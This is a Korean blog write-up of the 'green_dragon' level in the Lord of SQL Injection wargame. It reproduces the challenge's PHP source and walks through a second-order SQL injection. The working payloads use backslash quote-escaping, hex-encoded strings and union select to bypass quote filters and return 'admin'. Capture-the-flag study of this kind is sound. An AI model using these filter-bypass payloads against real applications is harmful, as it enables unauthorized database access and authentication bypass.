wargame/Lord Of SQL Injection

[LOS] green_dragon

LimeLee 2018. 7. 22. 19:41

$password=md5('los_green_dragon');공개


LOS 새로 추가된 문제 



소스 코드 분석


<?php
  
include "./config.php";
  
login_chk();
  
dbconnect();
  if(
preg_match('/prob|_|\.|\'|\"/i'$_GET[id])) exit("No Hack ~_~");
  if(
preg_match('/prob|_|\.|\'|\"/i'$_GET[pw])) exit("No Hack ~_~");
  
$query "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysql_fetch_array(mysql_query($query));
  if(
$result['id']){
    if(
preg_match('/prob|_|\.|\'|\"/i'$result['id'])) exit("No Hack ~_~");
    if(
preg_match('/prob|_|\.|\'|\"/i'$result['pw'])) exit("No Hack ~_~");
    
$query2 "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
    echo 
"<hr>query2 : <strong>{$query2}</strong><hr><br>";
    
$result mysql_fetch_array(mysql_query($query2));
    if(
$result['id'] == "admin"solve("green_dragon");
  }
  
highlight_file(__FILE__);
?>

페이지 내에선 총 2번의 쿼리를 요청한다.

$query 는 내가 get parameter를 통해 보낸 id와 pw값과 일치하는 결과 값을 반환한다.

$query2는 $query에서 반환한 id와 pw값과 일치하는 결과 값을 반환한다.

그리고 $query2에서 반환한 id 값이 admin과 일치하면 문제를 해결할 수 있다.



id, pw에 '(싱글 쿼터) 및 "(더블 쿼터)가 막혀있다. 싱글 쿼터, 더블 쿼터를 이용해서 원하는 문자열을 삽입할 수 없다.

if($result['id'] == "admin"solve("green_dragon"); 을 보면 테이블안에 있는 값을 탈취하여 인증하는 문제와 다른 분기문을 가지고 있다.  prob_green_dragon 테이블 안에는 admin이라는 값이 없을 수 있다.

union을 이용해야 할 가능성이 있다. admin이라는 문자열을 사용하지 않고도 가능할까?




풀이



\는 필터링 하지 않기 때문에 싱글쿼터는 간단하게 문자열로 인식시켜 나갈 수 있다. 대신 싱글쿼터는 막혀 있기 때문에

id='{$_GET[id]}\' and pw=' id에는 다음과 같은 문자열이 들어갈 것이다. pw의 싱글쿼터는 문자열로 만들수 없으므로 id에 들어가는 값은 문자열로 전부 들어갈 수 밖에 없다. 그래서 pw 파라미터를 이용한다.

pw 파라미터 뒤의 싱글쿼터는 간단하게 주석처리를 해줄 수 있다. pw에 union select 1,2-- -를 입력해보자




id에 ' and pw= 라는 값은 없으므로 query는 다음과 같은 값을 반환한다.

 id

pw 


반환 값이 있으므로 query2도 요청한다. 첫번째 쿼리의 반환 값이 admin 출력할 수 있는 값이라면 문제는 풀릴 수 있다.

문제는 id가 admin인것은 알지만 pw는 모른다. 인증 우회를 시도해보자.


select id from prob_green_dragon where id='admin' and pw='' or 1=1-- -

위와 같은 쿼리를 예상한다.

2가지 문제가 발생한다. 싱글쿼터를 사용할 수 없어서 2번째 쿼리에서 ' or 1=1을 시도할 수 없다.

또한 admin을 2번째 쿼리의 결과값으로 넣으려면 첫번째 쿼리에 'admin'을 만들어야한다. 이는 우회 가능하지만 싱글 쿼터를 사용할 수 없으므로 첫 번째 쿼리와 같은 방법을 사용해서 싱글 쿼터를 우회하도록 한다.


select id from prob_green_dragon where id='\' and pw=' or id=0x61646d696e-- - '

다음과 같이사용하면 싱글 쿼터를 우회하고 id='admin'의 부분은 hex를 사용함으로써 우회한다.



test db를 통해 나오는 것도 확인했다. 첫번째 쿼리에서 \, or id =0x61646d696e를 나오게 해주어야한다.

첫번째 쿼리에서도 싱글쿼터를 필터링함으로 원하는 결과값을 전부 hex값으로 바꾸어 넣는다.


id=\&pw=union select 0x5c,0x206f722069643d3078363136343664363936652d2d202d-- -

다음과 같은 파라미터를 요청한다



원하는 값이 query2에 들어갔다. query에서는 단지 ' or id=~~이라는 문자열이지만 첫번째 쿼리에서 헥사값을 알아서 string으로 변환해주고 두번째 쿼리에 들어갈 때에는 쿼리로 인식해준다.

하지만 클리어가 아니다. 테이블 안에 id가 admin인 값이 존재하지 않는다. (아마)


존재하지 않는 값을 만들어주기 위해서 query에서 사용했던 union을 이용한다.

query2의 쿼리를 예상해보면 아래와 같이 될 것이다.

select id from prob_green_dragon where id='\' and pw=' union select 0x61646d696e-- -'



query2가 위의 예상한 쿼리가 되도록 파라미터를 아래와 같이 요청한다

id=\&pw=union select 0x5c,0x20756e696f6e2073656c656374203078363136343664363936652d2d202d-- -



'wargame > Lord Of SQL Injection' 카테고리의 다른 글

[LOS] ouroboros  (0) 2018.08.09
[LOS] phantom  (0) 2018.08.09
[LOS] frankenstein  (0) 2018.08.09
[LOS] blue_dragon  (0) 2018.07.24
[LOS] red_dragon  (0) 2018.07.22